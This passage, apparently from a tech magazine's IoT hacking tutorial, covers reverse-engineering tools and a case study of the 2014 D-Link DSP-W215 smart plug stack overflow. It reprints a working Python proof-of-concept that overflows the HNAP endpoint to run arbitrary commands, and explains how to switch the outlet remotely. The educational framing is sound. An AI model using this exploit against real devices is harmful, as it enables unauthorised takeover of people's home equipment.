Consumer IoT flooding companies
Consumer grade IoT smart devices such as fridges are being connected to corporate networks. **https://dgit.in/apr20-81**

IoT transactions insecure
A survey revealed that transactions over IoT are not only insecure, but also mostly unauthorised. **https://dgit.in/apr20-82**

engineering: static and dynamic. In static reverse-engineering, the program is not actually executed but rather, code analysis is done to check if anything stands out, while in dynamic reverse engineering, the program is executed and data flow is scrutinised to find flaws in the implementation. One of the hottest reverse engineering software in the market right now is Ghidra, famous for its NSA origins. NSA released the binaries last year in March while the source code was uploaded to GitHub in April 2019. One of the things we liked about it was its highly accurate pseudo-code generation from the given assembly code. The complete discussion is out-of-scope of this article but you can check it out here: https://dgit.in/ghidra. While Ghidra is a GUI software reverse engineering suite, radare2 can be considered the most robust and sturdy reverse engineering toolset when it comes to the command-line interface. With advanced analysis options, it can handle many popular formats and arbitrary binaries. It has a beautiful assembly code viewer and a hexadecimal editor, right from the terminal. You can download radare2 from here: https://dgit.in/rad2, and if you are not comfortable with the command line, there is a community made frontend for radare2, called cutter: https://dgit.in/cutter.

It's now time to actually perform an attack suitable for the device you are targeting. The information-gathering phase should have provided you with enough information to develop an exploit. You have to adopt a certain approach while developing an exploit, according to the interface you are going to attack. As we mentioned, IoT devices have a different frontend and user interface. To better understand how attacks are conjured against devices thought to be secure, let's take a look at a case study. D-Links released it's Smart Plug DSP-W215 in 2014, and it was first available on Amazon in April 2014. DSP-W215 was a home automation device, which allowed control over your smart electronic devices. Connected to your phone via Wi-Fi and controlled through an app, you could switch your devices on and off. With promises of a more secure home, the DSP-W215 ended up a failure. In May 2014, a security website focussed on hacking embedded devices published a blog post[https://dgit.in/plughack] describing the exploitation of the smart plug in detail. The plug had an unauthenticated stack overflow vulnerability, which allowed remote code execution and complete control of the smart device attached to it. The stack overflow bug is a special case of the well known buffer overflow vulnerability. While in a buffer overflow scenario, a generic chunk of memory is overwritten to access unallocated memory, in stack overflow, the stack allocated to the program whenever it is executed is overrun. Because the access was unauthenticated, anyone could've overwritten the stack with malicious code and got code execution. The firmware used in the plug was available for download from the official DLink website. Initial analysis of the firmware showed that it contained all the usual stuff a Linux-based device should contain. The device used Home Network Administration Protocol, which ran on a Lighttpd web server. The analysis of the firmware revealed that HNAP requests were being passed to a "/www/my_cgi.cgi" which was a binary file. The way this binary handled the HNAP requests had the stack overflow vulnerability which acted as the entry point. Below is the proof of concept code written by the security researcher who found this zero day:

```
>import sys
>import urllib2
>
>command = sys.argv[1]
>
>buf =  "D" * 1000020      # Fill up the stack buffer
>buf += "\x00\x40\x5C\xAC" # Overwrite the return address on the stack
>buf += "E" * 0x28         # Stack filler
>buf += command            # Command to execute
>buf += "\x00"             # NULL terminate the command string
>
>req = urllib2.Request("http://192.168.0.60/HNAP1/", buf)
>print urllib2.urlopen(req).read()
```

The first two lines are just importing the libraries needed in the program. The "command" variable is storing the argument passed when the script is executed, using the sys.argv[] function. Now the "buf" variable is what does the magic, that is, it is the malicious payload. First, the stack is filled with 1000020 bytes of junk(here the junk character is "D", it can be anything) so the memory pointer reaches where the return address of the calling function is stored and overwrites it with "0x00405CAC". Why this address specifically? It is because this address location has a call for system() function which allows executing arbitrary commands. All this information is revealed during the reverse engineering process. After that, there are filler characters stuffed in and the command needed to be executed is appended. The payload is finally attached with a NULL to terminate the string. Then using the "urllib2" library a GET request is made to the API of the device with the payload as the argument and then the output is printed. Similarly, more malicious commands can be run, which can result in the exfiltration of important password and other sensitive data.

Further reverse engineering of the "my_cgi.cgi" binary revealed that there was another binary that was executed to control the wall outlet, turning it on and off. All you had to do was run "/var/bin/relay". Passing argument 0 will turn the outlet off while passing 1 will turn it on. Just put the desired command while running the script, and you are golden. This same vulnerability affected another device, the D-Link DIR-505L which is a companion router. The complete proof of concept code